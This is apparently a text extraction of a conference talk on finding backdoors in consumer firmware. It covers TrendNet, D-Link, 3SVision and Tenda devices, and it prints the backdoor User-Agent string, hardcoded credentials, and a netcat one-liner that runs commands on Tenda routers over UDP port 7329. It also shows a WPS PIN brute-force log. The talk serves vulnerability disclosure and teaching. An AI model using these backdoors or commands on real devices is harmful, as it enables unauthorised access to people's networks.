

Finding and Reversing Backdoors in Consumer Firmware

#eelive

Produced by EE Times

ESC

EMBEDDED SYSTEMS CONFERENCE



BLACK HAT EMBEDDED



INTERNET OF THINGS



HARDWARE STARTUP



ANDROID ENGINEERING



FPGA ENGINEERING



SUPER C++ TUTORIAL



UBM Tech

Who Am I?

- Craig Heffner
 - Embedded Vulnerability Analyst for Tactical Network Solutions
 - Embedded Device Exploitation instructor



ESC

EMBEDDED SYSTEMS CONFERENCE



BLACK HAT EMBEDDED

2



INTERNET OF THINGS



HARDWARE STARTUP



ANDROID ENGINEERING



FPGA ENGINEERING



SUPER C++ TUTORIAL



UBM Tech

The Internet of (Backdoored) Things

HERE BE BACKDOORS: A JOURNEY INTO THE SECRETS OF INDUSTRIAL FIRMWARE

Presented By:
Ruben Santamarta

July 25

Backdoor found in firmware of IP cameras

April 30, 2013 | By Paul Mah

CISCO DISCLOSES EXISTENCE OF UNDOCUMENTED BACKDOOR IN ROUTERS

Advisory (ICSA-13-136-01)

[More Advisories](#)

TURCK BL20 and BL67 Programmable Gateway Hard-Coded User Accounts

Original release date: May 16, 2013 | Last revised: December 23, 2013

ESC

EMBEDDED SYSTEMS CONFERENCE



BLACK HAT EMBEDDED

3



INTERNET OF THINGS



HARDWARE STARTUP



ANDROID ENGINEERING



FPGA ENGINEERING



SUPER C++ TUTORIAL



UBM Tech

Meet the Contestants



Tools For Code / Data Analysis

- strings, hexdump
- The Interactive Disassembler (IDA)
- GNU tool chains (objdump)
- Others
 - Radare2
 - Reverse Engineering Compiler
 - The Online Disassembler
 - Retargetable Decompiler

Firmware Image Analysis

```
000009f0 5d 19 b0 2e 1e f4 c0 c0 dc 5e 2f 01 67 b3 dd 16 |].....^/g...|
00000a00 e2 35 fe 41 a0 2e 87 19 17 fa 54 a2 7a 9a 77 43 |.5.A.....T.z.WC|
00000a10 86 a5 db 82 da 7a c9 f1 c5 80 5d a1 d4 0a d0 76 |...z....]...V|
00000a20 c7 11 55 8a d4 c3 6a 15 16 17 8c 2f 3b 3a 5f 3e |..U..].../;:>|
00000a30 43 cb be ad f3 75 1e c9 b0 b0 4f db 62 d1 c0 a0 |C...u...o.b...|
00000a40 dd fd 86 58 36 56 6a 2a 62 45 0d aa 83 37 9b 31 |...X6Vj*bE...7-1|
00000a50 be fe 6f f6 77 99 c2 13 5c 03 0f c6 56 83 cc 6d |...o.w...V..n|
00000a60 89 2c 66 69 d6 41 f8 3f 8c 19 92 04 92 cd b9 f4 |,fi.A?...T....|
00000a70 45 c9 a3 4f e5 6c 6f 22 ab 9d 54 c3 92 ba ca ee |E..o.lo".T....|
00000a80 7a 03 0c da 86 72 35 5f d2 b0 05 47 e9 aa 9b 11 |z....r5....G....|
00000a90 5f 66 43 70 cf 0f bf d5 dc 91 84 2f 38 e8 79 09 |_fCp...../8.y.|
00000aa0 75 f5 32 c8 db 55 e3 e8 8a 46 53 f6 c2 b6 4b 67 |u.2..U...FS...Kg|
00000ab0 39 6a fb 5f 83 26 31 b4 99 e5 39 4a 1d f7 d2 37 |9j_..&1...9...7|
00000ac0 07 b5 d2 01 42 7a a7 7a f3 51 02 32 eb a0 1a 59 |...Bz.z.Q.2...Y|
00000ad0 ec 40 07 71 a3 55 90 87 8a a8 48 06 3d f2 87 6a |@.q.U...H.-.j|
00000ae0 ec 38 ab 29 04 c7 9f fd 9f 4c 6f 38 d5 3c 0b f4 |.8.)....Lo8.<..|
00000af0 4c 4d e0 d2 3e 8a 7c 0b 10 93 45 00 7b f9 72 36 |LM..>]...E.{r6|
00000b00 5f ea df 01 65 d6 5b 89 8a 3e c6 ff 7a 8a ca d8 |W...e.[...z...|
00000b10 2f 80 4f 79 7c 5b 92 6b de 4b 57 dc ed 46 b6 69 |/|.Oy|[.k.KW..F.t|
00000b20 49 d6 02 61 36 66 c6 d9 2d 7a c7 12 e4 50 0b 13 |I..a6f...z...P..|
00000b30 10 56 3e 31 3b e3 0c 9f 47 5f 5b 9c 9b e4 21 13 |.V>1;...G[...!..|
00000b40 01 82 a8 07 10 39 ba 83 f5 c5 84 df fa 21 08 91 |...9.....!...|
00000b50 db 9b 76 08 3f 99 5d c6 9e b6 9c 00 7f 2b 25 c7 |..v.?.].....+%.|
```





Existing Firmware Analysis Tools

- Just search for “magic” file signatures
 - UWFirmforce
 - Binary Analysis Tool
 - Hachoir
 - File / radare2 / libmagic
- Problems:
 - Few, if any, firmware specific signatures
 - Difficult to add / modify signatures
 - Prone to false positives / false negatives
 - Slow

Binwalk

- Easy to create / modify signatures
- Built-in false-positive detection
- Automated, recursive extraction
- Entropy / heuristic analysis
- Fast

DECIMAL	HEXADECIMAL	DESCRIPTION
20564	0x5054	MIPSEL instructions, function epilogue
20572	0x505C	MIPSEL instructions, function prologue
20632	0x5098	MIPSEL instructions, function epilogue
20640	0x50A0	MIPSEL instructions, function prologue
20960	0x51E0	MIPSEL instructions, function epilogue
20968	0x51E8	MIPSEL instructions, function prologue
21204	0x52D4	MIPSEL instructions, function epilogue
21212	0x52DC	MIPSEL instructions, function prologue
28336	0x6EB0	MIPSEL instructions, function epilogue
28344	0x6EB8	MIPSEL instructions, function prologue
28456	0x6F28	MIPSEL instructions, function epilogue
28464	0x6F30	MIPSEL instructions, function prologue
28464	0x6FE4	MIPSEL instructions, function epilogue
28652	0x6FEC	MIPSEL instructions, function prologue
28820	0x7094	MIPSEL instructions, function epilogue
28828	0x709C	MIPSEL instructions, function prologue
29272	0x7258	MIPSEL instructions, function epilogue
29280	0x7260	MIPSEL instructions, function prologue
31448	0x7AD8	MIPSEL instructions, function epilogue
31456	0x7AE0	MIPSEL instructions, function prologue
31872	0x7C80	MIPSEL instructions, function epilogue
36625	0x8F11	Zlib header, default compression, uncompressed size >= 131072



```
002d9790 42 2e 66 72 65 65 43 6f 75 6e 74 20 3c 3d 20 45 |B.freeCount <= E|
002d97a0 54 53 5f 51 55 45 55 45 5f 4d 41 58 2c 20 66 69 |TS_QUEUE_MAX, fl|
002d97b0 6c 65 20 65 74 73 5f 71 75 65 75 65 5f 76 78 77 |le ets_queue_vxw|
002d97c0 6f 72 6b 73 2e 63 2c 20 6c 69 6e 65 20 31 33 33 |orks.c, line 133|
002d97d0 0a 00 00 00 41 73 73 65 72 74 69 6f 6e 20 66 61 |...Assertion fa|
002d97e0 69 6c 65 64 3a 20 30 2c 20 66 69 6c 65 20 65 74 |iled: 0, file et|
002d97f0 73 5f 71 75 65 75 65 5f 76 78 77 6f 72 6b 73 2e |s_queue_vxworks.|
002d9800 63 2c 20 6c 69 6e 65 20 31 34 38 0a 00 00 00 00 |c, line 148....|
002d9810 41 73 73 65 72 74 69 6f 6e 20 66 61 69 6c 65 64 |Assertion failed|
002d9820 3a 20 30 2c 20 66 69 6c 65 20 65 74 73 5f 71 75 |: 0, file ets_qu|
002d9830 65 75 65 5f 76 78 77 6f 72 6b 73 2e 63 2c 20 6c |eue_vxworks.c, l|
002d9840 69 6e 65 20 31 37 30 0a 00 00 00 00 00 00 00 00 |line 170.....|
002d9850 43 6f 75 6c 64 20 6e 6f 74 20 69 6e 69 74 20 6d |Could not init m|
002d9860 75 74 65 78 2e 0a 00 00 53 65 6d 61 70 68 6f 72 |utex...Semaphor|
002d9870 65 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e |e initialization|
002d9880 20 66 61 69 6c 65 64 2e 0a 00 00 00 4f 75 74 20 | failed....Out|
002d9890 6f 6e 20 73 65 6d 61 70 68 6f 72 65 73 2e 0a 00 |of semaphores...|
```


```
eve@eve:~$ ls cramfs
bin flash htdocs mnt proc sbin tmp
dev fs2 lib nfs ramfs.img share usr
etc home local opt root temp var
```

Trendnet TEW-654R



TEW-654R Features

- Travel router / access point / firewall
- Three operational modes:
 - WiFi Access Point
 - WiFi Client
 - WiFi Router



`/etc/rc.d/rcS`

```
# Load configure file from Flash
/bin/echo "Init System..."
system_manager &
```

```
# Start tftpd
/bin/echo "Start Tftpd..."
tftpd &
```

`tftp /etc/resolv.conf`

```
eve@eve:~$ tftp tew654:/etc/resolv.conf .
eve@eve:~$ cat resolv.conf
nameserver 192.168.1.1
nameserver 192.168.1.1
```

WHAT COULD POSSIBLY



quickmeme.com

strings system_manager

```
select restore default from restore default where rowid = 1  
/etc/default_rt.db  
/etc/rt.db  
/etc/default_ap.db  
/etc/ap.db  
/etc/default_apc.db  
/etc/apc.db  
cp -f %s %s
```


tftp get /etc/rt.db

```
eve@eve:~$ tfcp tew654:/etc/rt.db .  
eve@eve:~$ file rt.db  
rt.db: SQLite 3.x database
```

sqlite3 rt.db

```
sqlite> select * from user;  
admin|secretpassword1|1  
user|user|0
```

Owned.



Vendor Response (TEW-632BRP)

- "Can't reproduce."
- "That file doesn't exist."
- "You can't get the configuration file over TFTP."
- "But it doesn't show up in a port scan!"

Post-Mortem


- One developer implementing a debug / recovery TFTP service
 - It's OK for the TFTP service to listen on all interfaces
 - The firewall will block connections from the WAN
- Another developer implementing firewall rules
 - The only running UDP services are DNS and DHCP
 - Easier to just open all UDP ports on the firewall

D-Link DIR-100



DIR-100 Features

- SOHO router
- Easy to set up
- “Total network security”



strings /bin/webs

```
IDA View-A | Strings window | Hex View-A | Structures | Enums | Imports
```

“tthttpd-alphanetworks/2.23”

.rodata:0046...0000001F	C	fdwatch initializ	ature
.rodata:0046...00000026	C	out of memory all	ing a connectab
.rodata:0046...0000000D	C	fdwatch - %m	
.rodata:0046...00000007	C	**.cgi	
.rodata:0046...00000005	C	user	
.rodata:0046...0000000B	C	iso-8859-1	
.rodata:0046...0000001A	C	tthttpd-alphanetworks/2.23	
.rodata:0046...00000005	C	-nor	
.rodata:0046...00000005	C	-nos	
.rodata:0046...00000005	C	-nov	
.rodata:0046...00000005	C	-nog	
.rodata:0046...000000CC	C	usage: %s [-C configfile] [-p port] [-d dir] [-r -nor] [-s -nos] [-v -nov] [-g -nog] [-u user] ...	
.rodata:0046...00000005	C	\\n\\n	
.rodata:0046...00000006	C	debug	
.rodata:0046...00000005	C	port	
.rodata:0046...00000009	C	nochroot	



/bin/webs Function Listing

alpha_auth_check

- alpha_s_type
- alpha_tBridge
- alpha_tdfFlowToLimitedQueue_wit
- alpha_auth_check
- alpha_http_parse_request
- alpha_init
- alpha_internal_function
- alpha_upload
- alphafs_check_header
- alphafs_cp_files
- alphafs_domount
- alphafs_flashwrite
- alphafs_read
- alphafs_write

alpha_auth_check Disassembly

xmlset_editby04882joelbackdoor


```
nop  
la $a1, 0x470000  
nop  
addiu $a1, (aXm1set_roodk_0 - 0x470000) # "xmlset_roodkcableoj28840ybtide"  
bnez $v0, end  
li $v1, 1
```

alpha_auth_check Pseudo Code

```
if(strstr(struct->ptr, "xmlset_roodkcableoj28840ybtide") != NULL)  
{  
    return AUTH_OK;  
}  
else  
{  
    return check_login();  
}
```

???

alpha_auth_check Call Graph



alpha_httpd_parse_request Disassembly

```
loc_41488C:  
la $a1, 0x470000  
nop  
addiu $a1, aUserAgent - 0x470000 # "User-Agent:"  
li $a2, 0xB  
la $t9, strncasecmp  
nop  
jalr $t9 ; strncasecmp  
nop  
lw $gp, 0x48+saved_gp($sp)  
bnez $v0, loc_4148EC # if(strncasecmp(header, "User-Agent:", 0xB) != NULL)  
move $a0, $s0
```

alpha_httpd_parse_request Pseudo Code

```
if(strncasecmp(header, "User-Agent:", 11) != NULL)  
{  
    struct->ptr = header + 11 + strspn(header, "\t");  
}
```

struct->ptr = HTTP User Agent

alpha_auth_check Pseudo Code


```
if(strstr(struct->ptr, "xmlset_roodkcableoj28840ybtide") != NULL)
{
    return AUTH_OK;
}
else
{
    return check_login();
}
```




alpha_auth_check Pseudo Code

```
if(strstr(user_agent, "xmlset_roodkcableoj28840ybtide") != NULL)
{
    return AUTH_OK;
}
else
{
    return check_login();
}
```

Google Chrome Spoof User Agent



Owned.



Vendor Response

- “Updates will be available October 31st.”

D-Link routers authenticate

Publication ID: SAP10001

Revision: 9

Published on: 6 November 2013 10:13 GMT

Last updated on: 3 December 2013 8:00 GMT

Post-Mortem

- “Some services need to change configuration settings automatically”
- “The web server already has all the code for changing config settings”
- “Let’s put a backdoor in the web server so our local services can automatically change configuration settings without knowing the administrative password!”


3SVision N5072



N5072 Features

- Outdoor weather proof camera
- 720p @ 30fps
- 18X optical zoom

Restricted Firmware Download



Use the Source, Luke

```
if( pid == "" )  
    location.reload();  
else  
    location.href = "prod_info.php?pid="+pid+"&tab=4";
```

Literacy FTW

Download



N5072 HD Network Speed Dome Camera

N5072 Firmware


N5072 Firmware (10.71MB, 10.7MB, English, 2012.06.20-V1.01)

N5072 Release Notes

N5072 Release Notes (0.18MB, 189KB, English, 2012-06-20)

N5072 Data Sheet

N5072 Data Sheet (0.18MB, English, 2013.01.21-V1.0)




/home/3s/bin/httpd

```
BasicDevice      httpd      nvram
chat             ipcam     OrayDDNS
chpasswd        ipfinder  OSD.TTF
ControlPoint    iptables  pciv_get
ddns            LinkLocalIP pciv_send
dhclient-script mail      pppd
```

pwdgrp_get_userinfo

```
BL      b64_decode
ADD     R3, SP, #0x210+var_18
ADD     R0, R3, R0
STRB   R6, [R0,#-0x1F4]
MOV     R1, #0x3A      ; c
MOV     R0, R7        ; s
BL      strchr
MOV     R4, R0
STRB   R6, [R4],#1
LDR     R1, =a3sadmin ; "3sadmin"
MOV     R0, R7        ; s1
BL      strcmp
CMP     R0, #0
LDR     R1, =a27988303 ; "27988303"
MOV     R0, R4        ; s1
BNE     loc_28874
```



Hardest. Exploit. Ever.

User Name:

Password:

Cancel

Log In

Owned.



Vendor Response

- Vulnerability publically released July 2013
- Crickets.

Post-Mortem




- Developer debugging?
- Remote assistance / recovery

Tenda W302R



W302R Features

- 802.11n WiFi router
- High gain antennas
- Supports WiFi Protected Setup



strings /bin/httpd

GoAhead-Webs

Address	Disassembly	Comment
.rodata:0047... 00000018	C	C:\G\ge...ed no output
.rodata:0047... 00000006	C	%s/%s
.rodata:0047... 0000001C	C	HTTP/1.1 200 OK\r\nDate: %s\r\n
.rodata:0047... 0000000D	C	Server: %s\r\n
.rodata:0047... 0000000D	C	GoAhead-Webs
.rodata:0047... 0000002C	C	Pragma: no-cache\r\nCache-Control: no-cache\r\n
.rodata:0047... 00000013	C	Content-type: %s\r\n
.rodata:0047... 00000019	C	Connection: keep-alive\r\n
.rodata:0047... 00000014	C	Last-modified: %s\r\n
.rodata:0047... 00000015	C	Content-length: %d\r\n
.rodata:0047... 00000019	C	Cannot stat page for URL
.rodata:0047... 00000010	C	Cannot open URL
.rodata:0047... 0000000C	C	Invalid URL

Hmmm...InitMfgTask?


```
.globl InitMfgTask
InitMfgTask:

var_18= -0x18
var_10= -0x10
var_8= -8
var_4= -4
```

InitMfgTask

```
void InitMfgTask(void)
{
    pthread_create(&pthread NULL, MfgThread, NULL);
}
```


MfgThread



MfgThread

- Binds to a UDP socket listening on port 7329
- Waits for an incoming packet from a client
- Validates packet structure, performs requested action
- Returns action result to the client

MfgThread Packet Structure



MfgThread Command 'x'

```
popen(action_arg, "r");
```

popen result
returned to client!

MfgThread Command Execution Packet

```
w302r_mfg\x00x/bin/ls
```

Owned.

```
$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329
drwxr-xr-x  2 0      0      1363 webroot
drwxr-xr-x  1 0      0      0 var
drwxr-xr-x  5 0      0      43 usr
drwxr-xr-x  1 0      0      0 tmp
drwxr-xr-x  2 0      0      3 sys
drwxr-xr-x  2 0      0      569/sbin
dr-xr-xr-x  39 0     0      0 proc
drwxr-xr-x  2 0      0      3 mnt
drwxr-xr-x  1 0      0      0 media
drwxr-xr-x  4 0      0      821 lib
lrwxrwxrwx  1 0      0      11 init -> bin/busybox
drwxr-xr-x  2 0      0      3 home
drwxr-xr-x  7 0      0      154 etc_ro
drwxr-xr-x  1 0      0      0 etc
drwxr-xr-x  1 0      0      0 dev
drwxr-xr-x  2 1000   100    574 bin
```

Practical Exploitation

- Only listens on the LAN / WLAN
- What if the user has configured wireless encryption?

WEP?

- Easily broken in a couple of minutes

WPA?



- TKIP attacks allow packet injection (~15 minutes)
- AES is secure if a strong passphrase is used
 - Unless...

5 6 8 4 3 0 4 0

100.00% [----->] 5314 0 PINS/m in 0h 0m

```
+ - - - [ Attack Log ] - - - +
| (!) AP rejected 56843002, selecting next PIN
| [+] Trying pin 56843002
| (!) AP rejected 56843002, selecting next PIN
| [+] Trying pin 56843019
| (!) AP rejected 56843019, selecting next PIN
| [+] Trying pin 56843026
| (!) AP rejected 56843026, selecting next PIN
| [+] Trying pin 56843033
| (!) AP rejected 56843033, selecting next PIN
| [+] 93.75% complete @ 2013-10-17 20:47:56 (2 seconds/pin)
| [+] Trying pin 56843040
| [+] WPS PIN: 56843040
| [+] WPA PSK: 62423c477d37ea68e3e153d42802781185d0b7a8ef4d9f29bd2d07769d18822c
| [+] AP SSID: "Tenda"
```

Vendor Response




Post-Mortem

- Manufacturing backdoor for testing / validation
- Vendor considers LAN exploits “no big security problem”
 - WiFi hot spots?
 - Users with weak / no WiFi encryption?
 - Unforeseen WiFi encryption attacks (e.g., WEP, TKIP, WPS)?

Conclusion



Q & A



Contact & Resources

- cheffner@tacnetsol.com
- [@devttys0](#)

- <http://www.edetraining.com>
- <http://www.tacnetsol.com>
- <http://www.reaversystems.com>

- <http://www.binwalk.org>
- <http://www.devttys0.com/blog>